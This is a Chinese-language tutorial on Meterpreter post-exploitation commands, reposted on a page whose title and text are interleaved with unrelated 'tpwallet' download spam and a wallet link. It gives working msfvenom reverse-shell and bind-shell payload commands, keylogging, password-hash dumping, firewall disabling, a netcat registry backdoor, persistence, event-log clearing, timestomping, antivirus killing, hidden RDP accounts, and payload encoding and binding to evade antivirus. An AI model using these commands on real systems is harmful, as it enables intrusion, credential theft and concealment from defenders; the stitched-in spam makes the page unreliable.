tp官方最新版本下载 NEWS
你的位置:tp官方网站下载app > tp官方最新版本下载 > tpwallet钱包官网下载 Meterpreter命令详解
tpwallet钱包官网下载 Meterpreter命令详解
发布日期:2025-05-09 08:15    点击次数:59
0x01初识Meterpreter

1.1.什么是Meterpreter

  Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

  最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。

 需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况

1.2.Meterpreter技术优势

  Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。

0x02 Meterpreter中常用的反弹类型

1.reverse_tcp

这是一个基于TCP的反向链接反弹shell, 使用起来很稳定

(1)Linux:

使用下列命令生成一个Linux下反弹shell木马:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f elf -o shell

看上图,我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上可执行权限。然后我们打开Metasploit,使用模块handler,设置payload,注意:这里设置的payload要和我们生成木马所使用的payload一样。

设置下地址和端口,我们就开始监听了

这边运行一下我们的反弹shell木马,可以发现成功反弹回shell了

(2)Windows:

msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名

msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f exe -o  shell.exe

这里写图片描述

这里写图片描述反向连接shell,使用起来很稳定,需要设置LHOST

2.reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定。

payload:/windows/meterpreter/reverse_http

3.reverse_https

基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试

payload:/windows/meterpreter/reverse_https

 

4.bind_tcp

这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

使用下列命令生成木马:

msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444  -f elf -o shell

同样道理加权限运行,不演示了。

这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。

0x03 相关Payload

Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Metasploit中的Payload模块主要有以下三种类型:

-Single

-Stager

-Stage

Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。

Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。

Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型:

当我们在Metasploit中执行“show payloads”命令之后,它会给我们显示一个可使用的Payload列表:

手把手教你如何利用Meterpreter渗透Windows系统

在这个列表中,windows/powershell_bind_tcp就是一个Single Payload,它不包含Stage Payload。而windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。

0x04 Meterpreter的常用命令

1.基本命令

2.文件系统命令

(1)下载文件

使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件

(2)上传文件

“upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。

(3)查看文件

“cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。

(4)切换、查询当前路径

“pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。

(5)“sysinfo”命令

“sysinfo”命令为显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。可以看到远程主机的操作系统是windows XP service pack 2,sp2这个系统有很多漏洞。

(6)execute命令

“execute”命令为目标主机上执行一个命令,其中“execute -h”显示帮助信息。-f为执行要运行的命令,

在目标主机上运行某个程序,例如我们目前注入进程到explorer.exe后,运行用户为超级管理administrator

我们运行一下目标主机上的记事本程序

execute  -f notepad.exe

目标主机上立马弹出来一个记事本程序,如下图:这样太明显,如果希望隐藏后台执行,加参数-H

execute  -H -f notepad.exe

此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上

命令:

execute  -H -i -f cmd.exe

这达到的效果就跟使用shell命令一样了

再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。

execute  -H -m -d notepad.exe-f  wce.exe -a "-o wce.txt"

-d 在目标主机执行时显示的进程名称(用以伪装)

-m 直接从内存中执行

 "-o wce.txt"是wce.exe的运行参数

(7)idletime命令

“idletime”命令为显示目标机器截止到当前无操作命令的时间。图中的显示意思为目标主机有操作是在9分19秒之前。

(8)search命令

“search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。

使用“search –h”命令来查看search命令的帮助信息:

下图中,“search –f aa.txt”命令为查看目标机中在当前目录以及当前目录的子目录中有没有aa.txt这个文件,若有则显示出其路径。

“search –f l.txt c:\\pp”为显示出c:\\pp下及pp文件夹下所有的子文件下所有以l开头的txt文件,若有此类文件,则返回其路径和其大小。

(9)edit命令

调用vi编辑器,对目标主机上的文件修改

例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)

在目标主机上ping www.baidu.com,出来的目标IP就是我们修改的192.168.1.1了

3.网络命令

(1)portfwd

网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)。 比如portfwd:

enter image description here

在建立规则之后就可以连接本地3344端口,这样远程的3389端口就转发出来了。

(2)route

使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。

可以先使用run get_local_subnets命令查看已拿下的目标主机的内网IP段情况

命令:run  get_local_subnets

如下图:

其内网有192.168.249.0/24网段,我们无法直接访问

下面做一条路由,下一跳为当前拿下主机的sessionid(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。

命令:route add  192.168.249.0 255.255.255.0 5

再使用route print查看一下路由表,效果如下图:

最后我们就可以通过这条路由,以当前拿下的主机meterpreter作为路由跳板攻击249网段中另一台有ms08-067漏洞的主机,获得反弹会话成功顺利拿下了另一台内网主机192.168.249.1,如下图:

大多时候我们获取到的meterpreter shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。

查看shell网络环境:

meterpreter>run get_local_subnets

添加一条通向目标服务器内网的路由

meterpreter>run autoroute -s 100.0.0.0/8   #(根据目标内网网络而定)

查看路由设置:

meterpreter>run autoroute –p

一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。

route print

如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。

msf>route add 10.0.0.0 255.0.0.0 1

说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。

 

4.键盘监听

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

enter image description here

这里需要注意一下windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。可以使用getdesktop查看或者截张图试试。否则使用setdesktop切换。

enter image description here

如果不行就切换到explorer.exe进程中,这样也可以监听到远程桌面连接进来之后的键盘输入数据。

 

5.系统命令

shell命令

获取目标主机的远程命令行shell,如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试

6.mimikatz

这里写图片描述

7.网络嗅探

Metasploit包含sniffer脚本。Meterpreter的这个模块可以用来做数据包捕获,不需要在远程机器上安装任何软件:

首先执行use sniffer命令作用为使用嗅探脚本。

sniffer_interfaces命令为获取网卡的信息,得到我们的ID为1.

sniffer_start ID命令开始嗅探。

sniffer_dump ID filepath保存抓取的数据包,本例中/tmp/1.cap是抓取数据包的保存路径。

这里写图片描述

对抓取的包进行解包:

use auxiliary/sniffer/psnuffle

set pcapfile 1.cap

run

20161006153844

然后在shell中中输入:wireshark,加载这个/tmp/xpsp1.cap包即可:

8.获取敏感信息

(1)post/windows/gather/enum_application模块获取目标主机上的软件安装信息

命令:run post/windows/gather/enum_applications

效果如图:

(2) post/windows/gather/enum_ie后渗透模块,读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码

命令:run  post/windows/gather/enum_ie

效果如下图:

获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下,这里说IE7以上才有效

9.获取Hash

使用“hashdump”命令可以从系统提取用户名和密码hashes。使用hashdump命令可以获取目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码,微软一般用LM,NTML和NTLMv2形式的哈希表存储密码。若想运行这个命令,TPwallet官网下载 需要有注册表和SAM [Security Account Manager]的系统的权限, tp官方下载安卓最新版本2025如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。

脚本和post模块都需要通过“run”命令执行,我在测试环境中运行hashdump模块后的结果如下:

 

手把手教你如何利用Meterpreter渗透Windows系统

数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::,所以我们得到了三个用户账号,分别为Administrator, Guest和Coen。

其中的LM哈希(aad3b435b51404eeaad3b435b51404ee)跟NTLM哈希(31d6cfe0d16ae931b73c59d7e0c089c0)对应的是一个空密码。

接下来要处理的就是用户Coen的密码(f773c5db7ddebefa4b0dae7ee8c50aea)了。虽然我们可以使用类似John the Ripper这样的工具来破解密码,但是我们直接Google这个哈希之后,就直接得到了密码明文:trustno1。

 

use post/windows/gather/hashdump

set session 4

run

20161006155822

检查已有权限+系统类型   检查是否为域控制器   从注册表读hash,若失败,注入LSASS进程;若域控制器,直接注入LSASS进程   若win2008+会话管理员权限,尝试使用getsystem,若在system不能注入LSASS,先migrate到system权限下的进程,继续注入LSASS   若win7/Vista+UAC关闭+会话管理员权限,尝试getsystem,读取hash   若win2003/xp/2000,直接getsystem,读取hash  

 

10.通过Hash获取权限

11.捕捉屏幕

要想查看到远程机器当前的桌面信息,可以使用“screenshot”命令,可以看到,此命令不仅把对方的桌面给显示了出来而且把桌面作为图片形式保存在了本地。我们通过桌面的信息可以知道一些对我们入侵有帮助的信息,比如对方的杀毒软件的类型等等。

我们可以使用“screenshot”命令来进行屏幕截图并存储在我们的系统之中。手把手教你如何利用Meterpreter渗透Windows系统

截取的效果如下所示:

手把手教你如何利用Meterpreter渗透Windows系统

12.得到远程桌面

使用命令“run vnc”将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。

 

 

 

13.权限提升

这是meterpreter中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention.,在旧版本的Metasploit中Priv extension并不自动装载,使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。

使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为500的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。

 

列出远程机器的进程和进程ID方便迁移我们的进程,进而改变我们的权限。使用“ps”命令。

 

在得到的进程列表后,可以实现迁移进程,用getpid查看当前进程号,然后根据上图既可以知道当前的权限,若再用migrate+pid,就会迁移到另一个进程中,然后我们的权限就改变了。

手把手教你如何利用Meterpreter渗透Windows系统

14.盗取令牌

 

另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展,使用“steal_token+PID”这个例子中我们使用的是steal_token 640,其中由前面执行ps后得到的信息可知,PID为640的权限为administrator,所以我们在执行命令后虽然提示错误信息,但是它仍会被成功在后台执行,所以在运行steal_token后核实UID,我们的权限就变为了administrator了。

 

20161006131139

15.清除事件日志

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令“clearev”命令来清除事件日志

执行“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。

 

执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的:

 

16.网络摄像头

“webcam_snap”命令为抓取目标主机当前的摄像头拍摄到的画面,并将它以图片形式保存到本地,“webcam_snap –h”命令为查看参数的使用方法。由于我们的实验中目标机器没有摄像头,所以我们运行“webcam_snap -i 1 -v false”命令之后返回以下信息。

 

Using webcam_snap Meterpreter plugin | Metasploit Unleashed

17.一些脚本命令

为获取远程机器上的信息,在meterpreter中还有很多脚本可用,做更大的渗透测试。

使用“run scriptname”来使用meterpreter模块中的脚本命令

(1)调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机

命令:

run  post/windows/gather/checkvm

效果如下图:

 

同样有许多类似这样的脚本,下面来介绍几个重要的脚本:

(2) packetrecorder——“run packetrecorder”查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。

从下图中运行之后返回的信息中可以到我们需要查看的目标系统的网络流量信息将被存储的路径,可以到下面路径中直接查看。

 

(3)get_local_subnets——“run get_local_subnets”得到本地子网网段

(4)getcountermeasure—run getcountermeasure显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略

 

(5) scraper——“run scraper”从目标主机获得所有网络共享等信息

并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用ls命令查看存储的这些文件。

 

 

(6) killav——“run killav”命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录

但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰

 

使用了 “run killav”命令后xp会终止Av进程然后弹出窗口:

 

(7)hashdump——“run hashdump”获得密码哈希值

运行这个脚本和在meterpreter下直接运行hashdump结果差不多。

(8)keylogrecorder——“run keylogrecorder”命令为记录键盘信息

运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。

 

(9) persistence——“run persistence”这个脚本可以被用作持续欺骗主机   

远程主机重启后将在特定的时间间隔保持meterpreter会话

run  persistence -X -i  5  -p 4444 -r 172.17.11.18   #植入后门

-X 在目标主机上开机自启动

-i  不断尝试反向连接的时间间隔

persistence后渗透模块向目标主机植入后门程序

效果如下图:

执行过程:

创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。下图,在攻击主机上监听4444端口,等待反弹会话成功

下图,看目标主机注册表Run键值果然被写入了一个pDTizIlNK的键值,执行后门vbs脚本

 

(10)enum_drives

这个后渗透攻击模块是获取目标主机磁盘分区信息,我们就以这个例讲解后渗透攻击模块使用方法。

后渗透模块post/windows/gather/forensics/enum_drives调用

在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息:

命令,在msfconsole下:

use post/windows/gather/forensics/enum_drives

set SESSION 1

exploit

效果如图:

或直接在meterpreter会话中以命令run post/windows/gather/forensics/enum_drives调用

我们首先将meterpreter会话放入后台,然后搜索我们的模块。

然后使用use命令来使用模块,然后设置一下会话id,接着执行,可以发现成功获取到目标主机磁盘分区的信息。

18.SOCKS代理

Metasploit可以作为一个SOCKS代理服务器,具体步骤为首先通过Metasploit的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行“route add +IP+mask+SID”,本例中我们路由的ip网段为10.1.1.0,然后使用“use auxiliary/server/socks4a”命令来使用sock4a模块,执行run命令 ,socks便会执行

然后再在命令行下执行proxychains命令,使用代理对目标主机进行扫描,nmap,nc等都可以,此例子中我们对目标机10.1.1.130的445端口进行扫描。从返回给我们的结果可以看到,我们的代理已经设置成功。

 

 

 

19.运行程序

我们还可以使用“execute”命令在目标系统中执行应用程序。这个命令的使用方法如下:

运行后它将执行file参数所指定的文件。可选参数如下:

-H:创建一个隐藏进程

-a:传递给命令的参数

-i:跟进程进行交互

-m:从内存中执行

-t:使用当前伪造的线程令牌运行进程

-s:在给定会话中执行进程

-f 执行的程序文件

-d 在目标主机执行时显示的进程名称(用以伪装)

-o wce.txt"是wce.exe的运行参数

手把手教你如何利用Meterpreter渗透Windows系统

20.创建账号

getgui——getgui ,为添加用户的命令,首先用“run getgui -h”查看脚本getgui的帮助信息

run  getgui-e #开启远程桌面

run  getgui -uexample_username -pexample_password #添加账号

调用getgui后渗透攻击模块

作用:开启目标主机远程桌面,并可添加管理员组账号

命令:

run  getgui  -e

开启目标主机远程桌面

如下图:

开启目标主机的远程桌面服务后,可以添加账号以便利用

命令:

run  getgui -u  example_username -p  example_password

如下图:执行成功,可以使用kali的rdesktop命令使用远程桌面连接目标主机

rdesktop  -u kali  -p meterpreter  192.168.250.176:3389

从上图可以看出这个脚本的用法是“rungetgui –u username –p password”,我添加了一个lu的用户密码为6666。从下图中可以看到用户已经添加成功。

添加完账户之后使用rdesktop命令连接一下远程主机,具体用法是“rdesktop –u username –p password IP”执行命令之后就会弹出一个窗口,只需再输入一次密码就可以进入目标机器,并对目标机器直接进行控制。

接下来,我们可以在目标系统中创建一个新的用户账号(getgui脚本,使用-u和-p参数),并给它分配管理员权限(使用),然后将其添加到”远程桌面用户”组中。

手把手教你如何利用Meterpreter渗透Windows系统

手把手教你如何利用Meterpreter渗透Windows系统

当然了,你也可以尝试将这个新添加的用户Hacker在Windows登录界面中隐藏。

21.启用远程桌面

当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启):

手把手教你如何利用Meterpreter渗透Windows系统

在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长:

手把手教你如何利用Meterpreter渗透Windows系统

这样可以降低你被发现的概率,因为当目标用户登录之后,它将会看到如下图所示的信息:

手把手教你如何利用Meterpreter渗透Windows系统

下图显示的是攻击者使用新创建的“Hacker”账号连接到远程桌面的画面:

手把手教你如何利用Meterpreter渗透Windows系统

run post/windows/manage/enable_rdp

20161006114052

还可以使用 run getgui -e 来开启远程桌面:

20161006121512

利用该命令,我们还可以在目标机器上添加用户:

run getgui -u xxxxx -p xxxxx

22.绑定进程

Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

在下面的例子中,我们会将Meterpreter跟winlogon.exe绑定,并在登录进程中捕获键盘记录。

首先,我们需要使用“ps”命令查看目标设备中运行的进程:

手把手教你如何利用Meterpreter渗透Windows系统

接下来,使用“getpid”找出需要绑定的进程,接下来,使用migrate命令+pid来绑定进程。

手把手教你如何利用Meterpreter渗透Windows系统

绑定完成之后,我们就可以开始捕获键盘数据了:

手把手教你如何利用Meterpreter渗透Windows系统

接下来,我们可以选择导出键盘记录,或者使用命令“enum_logged_on_users”来检查用户是否成功登录:

手把手教你如何利用Meterpreter渗透Windows系统

等待片刻之后,使用keyscan_dump命令导出记录信息:

手把手教你如何利用Meterpreter渗透Windows系统

捕捉到的用户密码为trustno1

23.通过其 shell 来关闭防火墙

netsh adcfirewall set allprofiles state off

20161006112128

我们打开防火墙配置查看防火墙已成功被我们关闭!

20161006113355

但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。

netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL

伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可!

24.利用注册表添加 NC 后门

1.上传 NC 到目标系统:

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

2.枚举注册表内容(开机启动)

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

3.在该注册表增加内容(开机启动)

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d “C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe”

4.查看内容是否增加成功:

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

20161006141320

25.基于MACE时间的反电子取证

timestomp -v secist.txt  #查看当前目标文件 MACE 时间。

timestomp c:/a.doc -c “10/27/2015 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查)

20161006172320

timestomp -f c:\\AVScanner.ini secist.txt (将模板文件MACE时间,复制给当前文件)

timestomp -v secist.txt

26.内网代理

27.SSH代理

之后就是愉快的内网扫描了

当然还是推荐直接用

28.内网扫描

我还是推荐开代理用Nmap扫描>.<

29.一些常用的破解模块

30.一些好用的模块

0x05 常见脚本

在获得meterpreter的session后,除了meterpreter本身内置的一些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下面还有很多scripts,提供了很多额外功能,非常好用

我看网上没有详细介绍常见脚本功能的文章,就总结了一下

我们可以通过run 脚本名来进行使用

run 脚本名 -h可以查看帮助

1.arp_scanner

利用arp进行存活主机扫描

run  arp_scanner-r  192.168.1.0/24

2.autoroute

可以添加,删除,显示路由表

3.checkvm

可以检测目标是否是虚拟机

4.credcollect

收集目标主机上的hash等凭证

5.domain_list_gen

获取域管理账户列表,并判断当前session所在用户是否在列表中

6.dumplinks

Link文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和office目录中收集lnk文件

调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息

命令:run  post/windows/gather/dumplinks

效果如下图:

7.duplicate

再次产生payload,注入到其他进程或打开新进程并注入其中

8.enum_chrome

获取chrome中的信息

9.enum_firefox

获取firefox中的信息,包括cooikie,历史纪录,书签等

10.enum_logged_on_users

列出当前登录的用户

11.enum_powershell_env

列出powershell和WSH的配置文件

12.enum_putty

列出putty的配置文件

13.enum_shares

列出共享及历史共享

14.enum_vmware

列出vmware的配置文件和产品

15.event_manager

可以查询和清理事件日志

16.file_collector

搜索符合指定模式的文件

17.get_application_list

获取安装的程序列表及版本

18.getcountermeasure

列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略

Ps:-k参数可以杀掉防护软件进程

19.get_env

获取所有用户的环境变量

20.get_filezilla_creds

获取filezilla的登陆凭证

21.getgui

可以很方便的开启远程桌面服务,添加用户,端口转发功能

22.get_local_subnets

获得本地的子网

23.get_pidgin_creds

获取pidgin配置文件中的用户名和密码

24.gettelnet

同之前开启终端桌面服务的脚本,这个是用来开启telnet的

25.get_valid_community

获取SNMP community字符串

26.getvncpw

获取vnc密码

27.hashdump

同meterpreter的内置功能

28.hostsedit

操作hosts文件

29.keylogrecorder

Meterpreter内置此功能

30.killav

关闭防护软件

31.metsvc

将payload安装为服务

32. migrate

将meterpreter会话移植到另一个进程

例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe是一个好方法

可以先用ps命令看一下目标主机的explorer.exe进程的pid

是1668然后我们用migrate 1668 把meterpreter会话注入进去

33 .persistence

可见建立一个持久性的后门,设置成开机启动

34. service_permissions_escalate

许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload

35.vnc

可以看到远程桌面

36. win32-sshserver

安装openssh服务

37. winenum

会自动运行多种命令,将命令结果保存到本地

0x06 msfvenom命令参数

metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已经被整合成msfvenom。可以利用msfvenom生成木马程序,并且目标机上执行,在本地做监听

1.msfvenom命令行选项

在kali的命令行中输入msfvenom -h就会显示其用法:

2.生成payload 格式说明

(1)生成不经过编码的普通payload(不编码->生成内容固定->直接被杀)

(2)经过编码器处理后生成payload

(3)捆绑到正常文件后生成payload(暂未测试是否可加-e参数)

-p [指定攻击载荷名称]

生成payload至少需指定-p 和 -f,除了自带的那些payload外。-p -可指定自定义的payload ,如:

#暂未测试

-f [指定payload的输出格式]

按需要的格式进行输出:十六进制hex编码形式 \x0a,如果用python写exploit,用-f python得到python代码。如果用python写exploit,用-f c得到c代码。生成一个exe格式的payload,如:msfvenom -p windows/meterpreter/bind_tcp -f exe

msf支持的输出格式

3.options usage

4.常用的payload

5.生成有效载荷格式说明

6.payload加编码

命令格式:

msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path>

常用编码:

x86/shikata_ga_nai

cmd/powershell_base64

例子:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 -f exe > 1.exe

如果你使用了-b选项(设定了规避字符集),会自动调用编码器。其他情况下,你需要使用-e选项来使用编码模块,例如:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

可以使用下面的命令,来查看可用的编码器

msfvenom -l encoders

你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。可以使用下面的命令来进行迭代编码:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

https://www.imwalletqb.com

(1)规避特殊字符 -b '/x00一个特殊字符列表'                                        

使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如: msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

不同的函数,有不同的规避字符:如gets就需要避免/x0a如scanf更严格,不允许空白符如产生一段exec的shellcode

(2)用-e选项指定编码器encoder

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -f exe -o encoder.exe

默认的输出格式是raw,直接输出payload的字符(含乱码),常加参数-o写到文件中。

(3)使用-i选项进行多次编码迭代编码也许会有规避杀毒软件的作用,但这不是真正的免杀。

迭代编码 例子: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

(4)msf中所有的编码器

(5)使用自定义可执行文件模板

-x 指定一个模板文件(“捆绑“payload到这个正常的可执行文件)

默认的msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:捆绑payload到 正常文件(模板文件=宿主文件=自定义的可执行文件),使用-x选项指定你自己的模板文件(如exe等),如:使用windows下的calc.exe作为模板文件,生成payload:

这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。

注意,在win x64下使用自定义的x64的模板文件(如exe等)创建x64的payload时,输出格式必须要写-f exe-only而不能写-f exemsfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe

